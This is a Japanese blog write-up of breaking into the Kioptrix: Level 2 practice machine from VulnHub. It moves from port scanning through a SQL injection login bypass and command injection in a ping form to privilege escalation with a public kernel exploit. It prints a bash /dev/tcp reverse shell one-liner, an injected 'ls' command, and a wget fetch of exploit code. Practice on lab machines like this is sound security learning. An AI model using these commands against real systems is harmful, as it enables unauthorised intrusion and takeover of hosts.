【VulnHub】Kioptrix: Level2
どうも!
今回は、VulnHubの二つ目のマシンです。
名前はKioptrix: Level2
前回触ったマシンの次レベルのやつでした。
どのように攻略したかについて記載します。
1.偵察
いつものを使ってマシンを特定しました。
% netdiscover -r 192.168.3.10/16
その後、nmapで空いているポートおよびサービスを確認しました。
結果、以下のポートが空いていることを確認しました。
% nmap -Pn -A -p- 192.168.3.22
22/tcp
80/tcp
111/tcp
443/tcp
631/tcp
934/tcp
3306/tcp
さらに、80番ポートが開いていたため、ブラウザ経由でアクセスしてみました。
結果、ログインページのようなものを見つけました。
2.侵入
偵察で確認できたサービスに関してのぜい弱性を確認しましたが、
侵入に関わるぜい弱性は見つけられませんでした。
次に、ブラウザで表示された画面がログイン画面のようだったので、
IDとPWを適当に入れて、リクエストおよびレスポンスを確認しました。
パラメータをそのまま送っているようなので、
sqlmapを用いて侵入できないかを確認しました。
結果、ORを用いた特定のリクエストを送ることで、
認証を突破できることが判明しました(キャプチャ忘れのため後日上げ直し)。
突破後、特定のホストに対してPINGを投げることができるフォームがあるページにたどり着きました。
OSコマンドインジェクションができそうだったので、試しに以下入力を行うと、
予想通りディレクトリの一覧が返ってきました。
127.0.0.1 | ls -la
この後、lsでフォルダの中身を色々と探ってみましたが、
見つけたファイル群に対して何をするのが適当かがわからず、時間を使ってしまいました。
結局、以下のWalkThroughを読んで、足掛かりをつかむ事にしました。
まずは、リバースシェルを行うために以下の形で接続を行いました。
ホスト側:
nc -lvp 8888
VM側:
; bash -i>&/dev/tcp/192.168.3.16/8888 0>&1
これによって、手元の端末でVM上の操作が可能になりました。
3.権限昇格
次に、特権昇格を行うためにすべきことを同記事から確認しました。
注目すべきはLinuxのバージョン情報という事で、
cat /etc/redhat-releaseでバージョンを確認しました。
バージョンはCentOS release 4.5 (Final)でした。
バージョン特定後、このバージョンのぜい弱性がないかをsearchploitで確認しました。
結果、1件HITしたため、こちらのExploitコードを利用する事にしました。
9542.c
pythonにより簡易webServerを立ち上げて、Exploitコードを取得しました。
ホスト側:
python -m SimpleHTTPServer 8889
MV側:
wget "http://192.168.3.16:8889/tmp/9542.c"
gcc -o exploit.run 9542.c
VM上でExploitコードを実行した事で、rootを得ることができました。
これで攻略完了です。
やってみたところですが、
正直途中からWalkThrough通りにやっちゃってたので悔しい・・・。
後CUPSというサービスもあったのですが、ここについてももっと触りたかったなぁと。
時間を作って再度、今度は別のやり方で攻略したいと思いました。
ちなみにサイト上ではFlagがtextであるっぽい記載があったのですが、
もしかして、まだ攻略おわってない・・・?
そして今回の攻略で、自分に足りていないものが色々わかりました。
・リバースシェルの具体的なペイロードについて
・sqlmapを使わないログイン画面攻略手法
・ユーザログイン後の権限昇格手法
以上。